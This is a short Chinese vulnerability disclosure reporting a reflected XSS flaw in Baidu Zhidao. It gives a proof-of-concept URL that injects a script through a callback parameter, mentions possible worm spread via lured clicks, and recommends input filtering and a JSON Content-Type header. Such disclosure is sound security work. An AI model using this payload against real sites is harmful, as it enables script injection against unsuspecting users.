<漏洞存在的产品对象>

百度知道

<危害>

百度知道存在反射型XSS,可以做诱惑点击导致蠕虫。

<重现方法>

http://zhidao.baidu.com/utask/qb/info?callback=<script>alert(/xss by cc/)</script>




 

<修复建议>

1.加强过滤。

2.JSON接口存在风险：

JSON接口需要设置Content-Type 添加：header(‘Content-type: application/json’);

这样即使JSON接口存在跨站漏洞，攻击者也难以利用。

声明：本站（华域联盟www.cnhackhy.com）所有文章，如无特殊说明或标注，均为本站原创发布。任何个人或组织，在未征得本站同意时，禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益，可联系我们进行处理。